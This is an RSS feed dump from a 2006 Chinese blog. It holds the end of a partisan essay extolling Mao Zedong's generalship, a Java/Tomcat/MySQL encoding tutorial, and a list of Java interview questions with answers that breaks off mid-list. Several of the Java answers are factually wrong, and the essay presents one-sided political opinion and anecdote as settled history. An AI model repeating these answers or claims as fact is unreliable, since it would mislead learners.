有人曾说毛泽东沾了日本人的光，其实这是一种最没出息的人看着人家成功说出来的混账话，和毛泽东同时代的各路豪杰，哪一个不比毛泽东的本钱大？可这些人怎么没沾上日本人的光？国军当年在敌后滞留下来的近百万部队，为什么没有象共军那样生存下来并且发展壮大起来？面对一个已经很凶悍的对手的同时还要面对另一个随时瞅冷子在背后下刀子的“伙伴”，试问谁能有这样的气魄和胆略应对裕如？还有人声称，*是沾了西安事变的光，要没张杨犯上作乱的西安事变，*早让蒋先生给灭喽。说这话的人真该好好学学历史，知道张杨之前是谁先跟*套近乎的么？是蒋先生自己！蒋先生早在1935年部署对共党军事围剿的同时，就在秘密寻找*谈判。如果张杨不是了解到蒋先生在秘密寻找*谈判，不是相信*有蒋介石也无法战胜的力量，他们是否会考虑与*结盟？是否会冒险发动西安事变？再进而推想，西安事变结束之后，全面抗战尚未展开，如果蒋先生有力量有决心，依蒋先生之脾气，何以还要留这无穷的隐患，而要与之和平谈判？如果共军区区数万兵力真象有朋友所说的那样何足道哉，蒋先生何以在谈判条件上一让再让，最终还不得不同意*人保有事实上的独立的军权与政权？试比较一下1949年的国共谈判，那会儿，蒋先生尚有半壁江山和数百万军队，只因*人不想与之妥协，结果竟想要保有部分的政权和军权而终不可得。<font color="#f2f1f1"></font></p><p>　　把握形势和机会很重要，但更重要的是自己要有不可战胜的力量。<font color="#f2f1f1"></font></p><p>　　全面抗战那会儿，一遇上日本人和蒋先生眉来眼去暗递秋波之时，最先被出卖的就是毛泽东领导的中共。可笑到最后的是谁？蒋先生当年总骂*的靠卢布喂大的？可是细究起来，蒋先生拿的卢布是*的几百倍，且不说当年黄埔军就是苏联装备起来的，蒋先生的中央银行是一千万金卢布奠的底！而同时期的中共却只在北伐那几年每年从共产国际领过几十万银元，蒋先生和*一翻脸，*这份钱就没地拿了――关山阻隔，蒋先生的队伍封着哩，想拿也没法拿。而蒋先生可是照拿不误！<font color="#f2f1f1"></font></p><p>　　抗战那年头，蒋先生独揽了几亿美元的苏援，*除了从老毛子那里领回几次文件来，也就只能星星点点得点零头，最大的一笔也就是王稼祥带回的30万美元。难怪那会儿延安的人们常常自嘲：“书本给了无产阶级，银子给了资产阶级。”<font color="#f2f1f1"></font></p><p>　　至于抗战胜利，中共也就是在东北从老毛子手中得了三十万支日本步枪，还大部分是连偷带抢，还有不少是通过金日成从朝鲜弄回来的。而共军从蒋先生手中夺得的枪棒棒是三百万支。<font color="#f2f1f1"></font></p><p>　　你看从天安门前走过的共军部队，拿的是什么家伙？日本家伙，美国家伙！――那可都是蒋先生送的。连刚穿上军装的共军士兵们都会唱：“没有枪，没有炮，敌人给我们造！……”<font color="#f2f1f1"></font></p><p>　　就连最亲蒋的美国总统特使魏德迈将军也说了句公道话：“中共既使有苏援，也不能和蒋先生的美援相提并论。”<font color="#f2f1f1"></font></p><p>　　试问，毛泽东在这样的环境下铸造了一支无敌的铁军，不叫奇迹叫什么？<font color="#f2f1f1"></font></p><p>　　倘不论战争的强度（强度是由客观情况决定的，不是毛泽东决定的），毛泽东的谋略高明，战略的远见，战术的灵活，是任何人都不能否定的。有人把世界列强的军事指导艺术分为美英为代表的技术型、苏联为代表的力量型，那么中国为代表的就是最高层次――谋略型。以此为据，有人曾戏言，让诸葛亮与巴顿在同等情况下对垒，巴顿极有可能败北！<font color="#f2f1f1"></font></p><p>　　同样，毛泽东彼时倘有美英苏等国的物质力量，和彼辈对垒，鹿死谁手，谁能测之？<font color="#f2f1f1"></font></p><p>　　“图书馆的书架被那些称颂毛泽东为卓越的游击战权威的书本压弯了。但是，毛何止是一位游击战士！他是位伟大的战略家。在本世纪20年代和30年代初期，他在一系列辉煌的游击作战中，把蒋介石及其国民党政府弄得痛苦不堪。10年后，他以游击战和运动战相结合，在中国打败了日本人。40年代后期，他在一系列得心应手的运动战中征服了中国。最后，他的部队在朝鲜的阵地战中顶住了美国。哪个领袖能象他这样在这么多不同类型的冲突中长期立于不败之地？”<font color="#f2f1f1"></font></p><p>　　美国前国防部助理部长菲利普?戴维逊在其著作《毛泽东的战略》开篇就发出了提醒人们：“关于*军事思想的最好阐述，不见诸于苏联的著作，而见诸于中国的著作。这并不是偶然的。苏联的势力扩张，主要得力于政治斗争的巧妙运用，以及德国在中欧垮台后所造成的许多有利条件。而中国*之所??们之所以能维持生存，其原因在于他们能够利用军事行动获得政治上的利益。”<font color="#f2f1f1"></font></p><p>　　这位国??不记得了，那么，你只要记住，他是一切战略家中最重实效，最主张批判地接受的经验的一个。”<font color="#f2f1f1"></font></p><p>　　毛泽东，既是一位军事理论巨匠，也是一位举世闻名的战争艺术大师。毛泽东众多的军事理论论著，奠定了现代中国军事理论、军事思想的基础，培养出许许多多著名将领，至今仍是现代中国军人学习军事，了解战争，研究战争的钥匙，并常年置之于世界各国政治家和军人的案头。毛泽东一生指挥过众多富于传奇色彩的大小战斗，更是现代中国军人引为自豪的战争艺术精品。西方军事学校目前学习战略思想的基本方法主要还是学习战争史，读战例，这就使他们比我们许多似乎懂很多现代战争知识的人更注重从巨人们身上汲取战争艺术的养料，而我们一些人，看了几本洋人自吹自擂的传记什么的，凭着对军事历史的一知半解，盲目就对人家顶膜拜礼，而对自己国度产生的伟人妄加褒贬，这实在是非常可悲的。<font color="#f2f1f1"></font></p><p>　　曾经有这样一件事，苏联元帅马利诺夫斯基报告赫鲁晓夫，苏联军方印发出版了一批俄文版的毛泽东军事著作。赫鲁晓夫极为反感，说：咱在大兵团机械化作战的时候，毛还在玩红缨枪呢！替他吹呼什么？遂停止发行。这个故事说明了什么？<font color="#f2f1f1"></font></p><p>　　说明了赫氏浅薄和无知。<font color="#f2f1f1"></font></p><p>　　对于战略家来说，玩什么并不重要，重要的是能否将就你所玩的家伙，去挣到你想要的东西。表述清楚一点，就在客观条件界定范围内，去达到你想要达到的目的。就象一个生意人一样，本钱雄厚挣钱不算什么本事，本钱小挣大钱才算真功夫。倘若你老毛子也只是玩红缨枪的条件，你是否还能象毛氏一样玩出个天下来？军备和技术可以日新月异千变万化，而思想的火花却光艳夺目永恒不朽?否则为什么几千年前的《孙子兵法》还被今天的军界奉为圣经宝典？包括美利坚合众国这样的头号强国的军队，在打最现代化的海湾战争时，还要捡起孙子的法宝？<font color="#f2f1f1"></font></p><p>　　毛泽东是游击战的大师，又岂止是游击战的大师。游击战不是毛泽东的发明，但让旁门左道为正规（？）军事家们所不耻的游击战在战略思想的圣殿登堂入室，则是毛泽东的非凡贡献。遍查打上了毛氏鲜明烙印的敌后抗日游击战争，无一不有毛泽东所擅长的大规模运动战的胎记。毛泽东的游击战，是上升到战略高度的游击战，是包含了战略进攻战役迂回包围战术突击的游击战。战争史上所有的游击战争，无论从承担的重负、起到的作用和规模的巨大等皆无法与之同日而语。<font color="#f2f1f1"></font></p><p>　　与草寇之举更有天壤之别，无统一协调无统一组织无调度配合的游击战始终不能成就大气。有人曾说，毛泽东的军队在敌后是“游而不击”，以致“坐大”。殊不知，在强大的敌人后方建立根据地，发展壮大自己的力量，必然会和敌人发生根本冲突，招致敌人的围剿和扫荡。倘毛氏真是“游而不击”，焉能“坐大”？恐怕连生存都成问题。又要保存和发展自己，又要消灭敌人。这种题目，不是谁都能应付裕如游刃有余的。以平型关战斗为例，象那种两头都是敌人的缝隙中设伏，当时也就只有毛氏的队伍敢作这样的表演，这是战略思想的影响所致。纵观国军在抗战时的全部上佳表演，鲜有向敌后大踏步的战略前进，连战役性的迂回动作都很少，多是正面硬顶，下层官兵固然英勇，但牺牲巨大也让人扼腕。向敌后迂回这种动作，风险很大，非有胆略和才力者不能为之――尤其是战略动作。否则国军滞留敌后的百万部队，怎么会是要么投敌“曲线救国”，要么在敌伪的剿杀中自生自灭，（只有傅作义部在绥远的夹缝中生存下来了）而唯共军的部队是蓬勃兴旺呢？曾是国军悍将的卫立煌将军也慨叹：“八路的打法好是好，咱们学不了。咱们的部队一撒出去，就收不拢来罗！”“别说让总司令和大家同甘共苦，就是让一个连长和士兵一样，恐怕他也不会干！”。<font color="#f2f1f1"></font></p><p>　　作为伟大的战略家和统帅，毛泽东指导战争与其它同时代的统帅有很大不同，毛泽东是从战役指挥起家的，他在后来进行战略指导的同时，也对每一个具体的战役为战场指挥员提出具体的指导意见。斯大林等统帅指导战争，主要是通大本营总参谋部实施，斯大林本人进行战略决策，从不参与战役指挥。而毛泽东除了进行战略决策，还对每一个战役提出具体的指导性意见，甚至连电报也自己起草――这在二战中的战略统帅中你肯定找不到第二个！同时还非常尊重战场指挥员的意见，每封电报最后都有“熟筹见复”、“视情况且酌定”等，给战场指挥员以充分的机断行事的余地――有心者不妨读读《毛泽东军事文选》，看看那些闪烁着思想火花的奇招妙着，看看那些战争艺术的杰作是怎么来的。从辽沈战役策划过程中毛、林之间往返多达百余封的电报中就可看出，毛泽东从不强拧不甜的瓜，在条件和时间允许的情况下甚至不惜等待，一定要战场指挥员从根本上理解自己的战略构想。这在苏军是不能理解的，发个命令就得了嘛，讨论什么啊？斯大林从来不这样。抗美援朝期间苏联顾问就曾对代总长聂荣臻说：“这叫命令吗？”聂答：“毛泽东就是这样的，就是这样领导我们打胜仗得天下的，你们不懂！”出身行伍的彭德怀、刘伯承、叶剑英、贺龙、林彪、粟裕、陈赓等战将对毛泽东从心悦臣服衷心拥戴直到顶膜拜礼，首先是缘于对其战争指导艺术的认识和倾倒，缘于其“用兵如神”。<font color="#f2f1f1"></font></p><p>　　如第二次反围剿后彭就说“还是摇鹅毛扇的人厉害”，至于林彪，那根本就是毛一手裁陪起来的。有人说毛只会“将将”不会“用兵”实在是没有任何道理。别的甭说，光说那些行伍出身正经进过科班的战将，你没两招谁会服你？你光会将将谁搭理你？――毛泽东最先就不被行伍们搭理――最早和毛泽东合作的余洒度等黄埔生就因瞧不起毛泽东而扬长离去，最后投了蒋。而历史却选择了伟大的军事天才毛泽东，而余洒度也就混了个象牛毛一样多的国军少将，最后还被蒋先生摘了脑袋！毛泽东带领泥腿子们造反那会儿可不是领袖，一句顶一万句，红军发展的事实也说明，无论是建军还是打仗，离开了毛泽东就有问题。有了毛泽东就有声有色，这是中共将帅们通过事实比较作出的选择。事实证明，毛指挥小部队游刃有余，指挥百万大军亦得心应手，转战陕北既指挥警卫部队让统帅部充当诱饵，又指挥陕北战事遥控全国战争，一心三用，这是何等的气势磅礴又是何等具有科学态度？请问历史上有过这种先例吗？有朋友褒扬被毛泽东思想体系武装起来培育起来的将领，却贬斥创立了这个思想体系的人，这不是很荒唐的事情么？笔者当时因工作原因曾多次与当年跟毛麾下的战将探讨，他们说起毛的指挥艺术都肃然起敬。当年我与红26军的李赤然将军（55年少将）交谈，他说起毛亲自指挥直罗镇战役和东征的――包括毛等候敌人几天跟毛他们作工作――情况非常激动和振奋，“毛主席真是用兵如神！”这样的话他反复重复了数遍。<font color="#f2f1f1"></font></p><p>　　毛泽东用兵如神，是一句带有文学色彩的褒扬。毛泽东是人不是神，他出的招有高招，也有不那么高的招，比如他遵义会议后指挥的第一仗土城战斗就是个失利战斗――话又说回来，任何人都是这样――如果说用兵如神就是判断上不出一点毛病的话，我估计这样的人是没有的。从这个意义上讲，世界上既没有用兵如神的人，也没有将将如神的人。说毛泽东用兵如神，只在一个意义上是正确的，那就是：毛泽东极善于因势利导将不利转化为有利，譬如前如言土城战斗虽失利，毛却将审时度势断然撤出，一渡赤水调动敌人，最后演出了四渡赤水大幅度机动制敌歼敌的活剧。<font color="#f2f1f1"></font></p><p>　　再如在很多人眼中，皖南事变是中共的大悲剧，中共的力量遭到前所未有的大损失。可毛泽东却因势利导，发起政治攻势，重建新四军军部，把新四军从带有统一战线色彩的军队变成了由中共完全独立控制的武装，使其在大江南北迅猛发展，成为日后与蒋争天下的一支举足轻重的力量――即便后来壮得不得了的林彪，其麾下战将和王牌劲旅也有不少来自华中新四军。又如解放台湾搁浅攻金门不克，后来却因势利导干脆不攻，演出了金门炮战这样的政治军事外交斗争杰作。在毛泽东的军事生涯中，我们既能找到大量军事战场的传世之作，也能见到大量的以其它斗争方式配合军事斗争的高妙之笔。尤其是后者，几乎成了毛泽东指导战争不同于一般统帅的最突出的特点之一。<font color="#f2f1f1"></font></p><p>　　他一生军事生涯可以用这样两句话来形容：当一般统帅把注意集中于战场时，他却能跳出战场的有限范围，看到更高层次的政治斗争，把许多见不到刀光血影的斗争方式信手拈来，结果换来了一般统帅不敢想象的战场胜利；而当一般的政治家仅把注意力放在政治斗争舞台上时，他又能跳到战场上去，利用军事打击去为政治斗争开劈道路，提供后盾，从而常常得到一般的政治家不敢企望的收获。超越军事的政治指导，善于用军事方式去解决政治问题，用政治方式去加速军事斗争的进程，或许就是他一生在军事领域里能获得比一般统帅更大成就的关键。有人把毛泽东战争指导艺术归结为打运动战，归结为“十六字诀”，归结为“十大军事原则”，其实这些东西都不是毛泽东战争指导艺术的真谛所在。―尽管他确实是一位运动战和游击战大师。自古以来有许多这样的“秘诀”，譬如“三十六计”，熟读“三十六计”的人多如牛毛，能大谈特谈“三十六计”的人也不稀罕。可真正能在战争（或生活或经商）中措置裕如，自由往来者又有几人？毛泽东有超人的指挥艺术，不在于他背过或说出过多少秘诀。而在于他能根据环境和条件，根据敌我双方的具体情况，来确定具体的战法――比如在朝鲜，就打了他一生都在避免的阵地战，打了他一直反对的“短促突击”。</p></td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/songfei/aggbug/53730.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-06-19 11:25 <a href="http://www.blogjava.net/songfei/articles/53730.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编码讨论---乱码问题之终极解决</title><link>http://www.blogjava.net/songfei/articles/53289.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Fri, 16 Jun 2006 06:02:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/53289.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/53289.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/53289.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/53289.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/53289.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td>
										<table cellspacing="0" cellpadding="0" width="100%" bgcolor="#ffffff" border="0">
												<tbody>
														<tr>
																<td class="title1" align="middle" width="100%" bgcolor="#eeeeee" colspan="3" height="40">
																		<b>编码讨论---乱码问题之终极解决</b>
																</td>
														</tr>
														<tr>
																<td align="middle" width="100%" bgcolor="#eeeeee">
																</td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
						<!-- end of article title -->
						<tr>
								<td valign="top" align="middle" width="100%">
										<!--start of article content -->
										<table width="98%" border="0">
												<tbody>
														<tr>
																<td class="text" align="left" width="100%">
																		<br />很多人 特别是新手 做j2ee 项目中<br />总能受困于 这样或那样的编码问题<br /><br />这里讨论下 新手学习，高手指教 一起研究下<br />(以 tomcat mysql 做例子 我推荐所有的编码采用utf-8)<br /><br />1 工程<br />工程内所有的 .java .jsp .xml .txt 都有默认的编码 默认的是系统环境的编码<br />我们中文系统通常是GBK 推荐都采用utf-8 <br />utf-8 的时候 你编译 生成doc 可能会遇到乱码（特别是采用ant 的时候,生成doc你几乎100%会遇到）<br /><br />解决方法 以ant 为例子<br />编译 注意 encoding 参数<br />&lt;target name="build" &gt;<br />       &lt;mkdir dir="${build.dir}" /&gt;<br />       &lt;javac encoding="utf-8" destdir="${build.dir}" target="1.3" debug="true" deprecation="false" optimize="false" failonerror="true"&gt;<br />           &lt;src path="${src.dir}" /&gt;<br />           &lt;classpath refid="master-classpath" /&gt;<br />       &lt;/javac&gt;<br />   &lt;/target&gt;<br /><br />生成doc 注意 encoding 和 charset<br />&lt;target name="doc"&gt;<br />&lt;mkdir dir="doc" /&gt;<br />&lt;javadoc charset="utf-8" encoding="utf-8" packagenames="${packages}" sourcepath="src" destdir="doc" author="true" version="true" use="true" splitindex="true" &gt;<br />&lt;classpath refid="master-classpath" /&gt;<br />&lt;/javadoc&gt;<br />&lt;/target&gt;<br /><br />这里 的encoding 就是指的你 java 文件的编码格式 javac 和javadoc 都有这个参数<br />charset 指的是 生成 doc 后的编码方式 javadoc 的参数<br /><br />2 数据库<br />mysql 的编码最复杂 从4以后 mysql 号称支持多编码 它更灵活了 我们也更麻烦了<br />mysql 有4个级别的编码 <br />系统级<br />库级<br />表级<br />sql语句级<br />请保持采用统一的编码 推荐utf-8<br />其它数据库要简单的多 一般都是一种编码<br /><br />3 web server <br />tomcat 为例<br />tomcat server.xml 中一个参数<br />&lt;Connectorport="8080" maxHttpHeaderSize="8192"<br />maxThreads="150" minSpareThreads="25" maxSpareThreads="75"<br />enableLookups="false" redirectPort="8443" acceptCount="100"<br />connectionTimeout="20000" disableUploadTimeout="true" URIncoding="utf-8"/&gt;<br />经测试 这个URIncoding 参数主要是 get 方法中采用编码<br /><br />4 jsp 显示层<br />第1条中说明了 jsp 文件本身的格式<br />很多朋友采用eclipse +myeclipse 生成jsp<br />它自动生成一个头&lt;%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%&gt;<br />不要误解 这句话不能保证你在ie里看到的不是乱码<br />pageEncoding它的意思是 这个页面本身采用的是 utf-8 (似乎只在eclipse 里有效果 ，我不确定)<br />为了在ie 里不乱码  你还得加一句 &lt;%@ page contentType="text/html; charset=UTF-8"%&gt;<br />它不能在(myeclispe)自动生成  推荐修改 myeclipse的模板 在下边的目录里<br />MyEclipse\eclipse\plugins\com.genuitec.eclipse.wizards_4.0.1\Templates<br />里边的jsp模版 你加上&lt;%@ page contentType="text/html; charset=${encoding}"%&gt;<br /><br />5 filter<br />自从tomcat 4 以后 网上就流传了一个SetCharacterEncodingFilter 过滤器 搜一下有很多<br />很好用 web.xml 中加入<br />&lt;filter&gt;<br />?? &lt;filter-name&gt;Set Character Encoding&lt;/filter-name&gt;<br />?? &lt;filter-class&gt;filters.SetCharacterEncodingFilter&lt;/filter-class&gt;<br />?? &lt;init-param&gt;<br />?? &lt;param-name&gt;encoding&lt;/param-name&gt;<br />?? &lt;param-value&gt;utf-8&lt;/param-value&gt;<br />?? &lt;/init-param&gt;<br />&lt;/filter&gt;<br />?? &lt;filter-mapping&gt;<br />?? &lt;filter-name&gt;Set Character Encoding&lt;/filter-name&gt;<br />?? &lt;url-pattern&gt;/*&lt;/url-pattern&gt;<br />?? &lt;/filter-mapping&gt;<br /><br />6 资源文件<br />首先保证 文件本身是utf-8<br />然后部署的时候用 native2ascii 转换 <br />这里给出 ant 里的例子<br />&lt;native2ascii encoding="utf-8" dest="${web.dir}/WEB-INF/classes" src="${src.dir}" includes="**/*.properties" /&gt;<br /><br />总结 <br />到这里 你应该彻底解决了乱码了 嘿嘿 <br />写的有点乱 还请高手们多指点 <br /></td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/songfei/aggbug/53289.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-06-16 14:02 <a href="http://www.blogjava.net/songfei/articles/53289.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软件开发管理</title><link>http://www.blogjava.net/songfei/articles/53256.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Fri, 16 Jun 2006 05:26:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/53256.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/53256.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/53256.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/53256.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/53256.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 微软公司软件开发模式简介																																																				Smalllamb																																																								北京大学出版社						96						年底所出的《微软的秘...&nbsp;&nbsp;<a href='http://www.blogjava.net/songfei/articles/53256.html'>阅读全文</a><img src ="http://www.blogjava.net/songfei/aggbug/53256.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-06-16 13:26 <a href="http://www.blogjava.net/songfei/articles/53256.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java题</title><link>http://www.blogjava.net/songfei/articles/50429.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Mon, 05 Jun 2006 02:08:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/50429.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/50429.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/50429.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/50429.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/50429.html</trackback:ping><description><![CDATA[
		<br />第一，谈谈final, finally, finalize的区别。 <br />第二，Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类，是否可以implements(实现)interface(接口)? <br /><br />第三，Static Nested Class 和 Inner Class的不同，说得越多越好(面试题有的很笼统)。 <br /><br />第四，&amp;和&amp;&amp;的区别。 <br /><br />第五，HashMap和Hashtable的区别。 <br /><br />第六，Collection 和 Collections的区别。 <br /><br />第七，什么时候用assert。 <br /><br />第八，GC是什么? 为什么要有GC? <br /><br />第九，String s = new String("xyz");创建了几个String Object? <br /><br />第十，Math.round(11.5)等於多少? Math.round(-11.5)等於多少? <br /><br />第十一，short s1 = 1; s1 = s1 + 1;有什么错? short s1 = 1; s1 += 1;有什么错? <br /><br />第十二，sleep() 和 wait() 有什么区别? <br /><br />第十三，Java有没有goto? <br /><br />第十四，数组有没有length()这个方法? String有没有length()这个方法? <br /><br />第十五，Overload和Override的区别。Overloaded的方法是否可以改变返回值的类型? <br /><br />第十六，Set里的元素是不能重复的，那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别? <br /><br />第十七，给我一个你最常见到的runtime exception。 <br /><br />第十八，error和exception有什么区别? <br /><br />第十九，List, Set, Map是否继承自Collection接口? <br /><br />第二十，abstract class和interface有什么区别? <br /><br />第二十一，abstract的method是否可同时是static,是否可同时是native，是否可同时是synchronized? <br /><br />第二十二，接口是否可继承接口? 抽象类是否可实现(implements)接口? 抽象类是否可继承实体类(concrete class)? <br /><br />第二十三，启动一个线程是用run()还是start()? <br /><br />第二十四，构造器Constructor是否可被override? <br /><br />第二十五，是否可以继承String类? <br /><br />第二十六，当一个线程进入一个对象的一个synchronized方法后，其它线程是否可进入此对象的其它方法? <br /><br />第二十七，try {}里有一个return语句，那么紧跟在这个try后的finally {}里的code会不会被执行，什么时候被执行，在return前还是后? <br /><br />第二十八，编程题: 用最有效率的方法算出2乘以8等於几? <br /><br />第二十九，两个对象值相同(x.equals(y) == true)，但却可有不同的hash code，这句话对不对? <br /><br />第三十，当一个对象被当作参数传递到一个方法后，此方法可改变这个对象的属性，并可返回变化后的结果，那么这里到底是值传递还是引用传递? <br /><br />第三十一，swtich是否能作用在byte上，是否能作用在long上，是否能作用在String上? <br /><br />第三十二，编程题: 写一个Singleton出来。 <br /><br />以下是答案 <br /><br />第一，谈谈final, finally, finalize的区别。 <br />final—修饰符（关键字）如果一个类被声明为final，意味着它不能再派生出新的子类，不能作为父类被继承。因此一个类不能既被声明为 abstract的，又被声明为final的。将变量或方法声明为final，可以保证它们在使用中不被改变。被声明为final的变量必须在声明时给定初值，而在以后的引用中只能读取，不可修改。被声明为final的方法也同样只能使用，不能重载 <br />finally—再异常处理时提供 finally 块来执行任何清除操作。如果抛出一个异常，那么相匹配的 catch 子句就会执行，然后控制就会进入 finally 块（如果有的话）。 <br />finalize—方法名。Java 技术允许使用 finalize() 方法在垃圾收集器将对象从内存中清除出去之前做必要的清理工作。这个方法是由垃圾收集器在确定这个对象没有被引用时对这个对象调用的。它是在 Object 类中定义的，因此所有的类都继承了它。子类覆盖 finalize() 方法以整理系统资源或者执行其他清理工作。finalize() 方法是在垃圾收集器删除对象之前对这个对象调用的。 <br /><br />第二，Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类，是否可以implements(实现)interface(接口)? <br />匿名的内部类是没有名字的内部类。不能extends(继承) 其它类，但一个内部类可以作为一个接口，由另一个内部类实现。 <br /><br />第三，Static Nested Class 和 Inner Class的不同，说得越多越好(面试题有的很笼统)。 <br />Nested Class （一般是C++的说法），Inner Class (一般是JAVA的说法)。Java内部类与C++嵌套类最大的不同就在于是否有指向外部的引用上。具体可见http: //<a href="http://www.frontfree.net/articles/services/view.asp?id=704&amp;page=1" target="_blank">www.frontfree.net/articles/services/view.asp?id=704&amp;page=1</a><br />注： 静态内部类（Inner Class）意味着1创建一个static内部类的对象，不需要一个外部类对象，2不能从一个static内部类的一个对象访问一个外部类对象 <br /><br />第四，&amp;和&amp;&amp;的区别。 <br />&amp;是位运算符。&amp;&amp;是布尔逻辑运算符。 <br /><br />第五，HashMap和Hashtable的区别。 <br />都属于Map接口的类，实现了将惟一键映射到特定的值上。 <br />HashMap 类没有分类或者排序。它允许一个 null 键和多个 null 值。 <br />Hashtable 类似于 HashMap，但是不允许 null 键和 null 值。它也比 HashMap 慢，因为它是同步的。 <br /><br />第六，Collection 和 Collections的区别。 <br />Collections是个java.util下的类，它包含有各种有关集合操作的静态方法。 <br />Collection是个java.util下的接口，它是各种集合结构的父接口。 <br /><br /><br />第七，什么时候用assert。 <br />断言是一个包含布尔表达式的语句，在执行这个语句时假定该表达式为 true。如果表达式计算为 false，那么系统会报告一个 AssertionError。它用于调试目的： <br />assert(a &gt; 0); // throws an AssertionError if a &lt;= 0 <br />断言可以有两种形式： <br />assert Expression1 ; <br />assert Expression1 : Expression2 ; <br />Expression1 应该总是产生一个布尔值。 <br />Expression2 可以是得出一个值的任意表达式。这个值用于生成显示更多调试信息的 String 消息。 <br />断言在默认情况下是禁用的。要在编译时启用断言，需要使用 source 1.4 标记： <br />javac -source 1.4 Test.java <br />要在运行时启用断言，可使用 -enableassertions 或者 -ea 标记。 <br />要在运行时选择禁用断言，可使用 -da 或者 -disableassertions 标记。 <br />要系统类中启用断言，可使用 -esa 或者 -dsa 标记。还可以在包的基础上启用或者禁用断言。 <br />可以在预计正常情况下不会到达的任何位置上放置断言。断言可以用于验证传递给私有方法的参数。不过，断言不应该用于验证传递给公有方法的参数，因为不管是否启用了断言，公有方法都必须检查其参数。不过，既可以在公有方法中，也可以在非公有方法中利用断言测试后置条件。另外，断言不应该以任何方式改变程序的状态。 <br /><br /><br />第八，GC是什么? 为什么要有GC? (基础)。 <br />GC是垃圾收集器。Java 程序员不用担心内存管理，因为垃圾收集器会自动进行管理。要请求垃圾收集，可以调用下面的方法之一： <br />System.gc() <br />Runtime.getRuntime().gc() <br /><br />第九，String s = new String("xyz");创建了几个String Object? <br />两个对象，一个是“xyx”,一个是指向“xyx”的引用对象s。 <br /><br />第十，Math.round(11.5)等於多少? Math.round(-11.5)等於多少? <br />Math.round(11.5)返回（long）12，Math.round(-11.5)返回（long）-11; <br /><br />第十一，short s1 = 1; s1 = s1 + 1;有什么错? short s1 = 1; s1 += 1;有什么错? <br />short s1 = 1; s1 = s1 + 1;有错，s1是short型，s1+1是int型,不能显式转化为short型。可修改为s1 =(short)(s1 + 1) 。short s1 = 1; s1 += 1正确。 <br /><br />第十二，sleep() 和 wait() 有什么区别? 搞线程的最爱 <br />sleep()方法是使线程停止一段时间的方法。在sleep 时间间隔期满后，线程不一定立即恢复执行。这是因为在那个时刻，其它线程可能正在运行而且没有被调度为放弃执行，除非(a)“醒来”的线程具有更高的优先级 <br />(b)正在运行的线程因为其它原因而阻塞。 <br />wait()是线程交互时，如果线程对一个同步对象x 发出一个wait()调用，该线程会暂停执行，被调对象进入等待状态，直到被唤醒或等待时间到。 <br /><br /><br /><br />第十三，Java有没有goto? <br />Goto—java中的保留字，现在没有在java中使用。 <br /><br />第十四，数组有没有length()这个方法? String有没有length()这个方法？ <br />数组没有length()这个方法，有length的属性。 <br />String有有length()这个方法。 <br /><br />第十五，Overload和Override的区别。Overloaded的方法是否可以改变返回值的类型? <br />方法的重写Overriding和重载Overloading是Java多态性的不同表现。重写Overriding是父类与子类之间多态性的一种表现，重载Overloading是一个类中多态性的一种表现。如果在子类中定义某方法与其父类有相同的名称和参数，我们说该方法被重写 (Overriding)。子类的对象使用这个方法时，将调用子类中的定义，对它而言，父类中的定义如同被“屏蔽”了。如果在一个类中定义了多个同名的方法，它们或有不同的参数个数或有不同的参数类型，则称为方法的重载(Overloading)。Overloaded的方法是可以改变返回值的类型。 <br /><br />第十六，Set里的元素是不能重复的，那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别? <br />Set里的元素是不能重复的，那么用iterator()方法来区分重复与否。equals()是判读两个Set是否相等。 <br />equals()和==方法决定引用值是否指向同一对象equals()在类中被覆盖，为的是当两个分离的对象的内容和类型相配的话，返回真值。 <br /><br />第十七，给我一个你最常见到的runtime exception。 <br />ArithmeticException, ArrayStoreException, BufferOverflowException, BufferUnderflowException, CannotRedoException, CannotUndoException, ClassCastException, CMMException, ConcurrentModificationException, DOMException, EmptyStackException, IllegalArgumentException, IllegalMonitorStateException, IllegalPathStateException, IllegalStateException, <br />ImagingOpException, IndexOutOfBoundsException, MissingResourceException, NegativeArraySizeException, 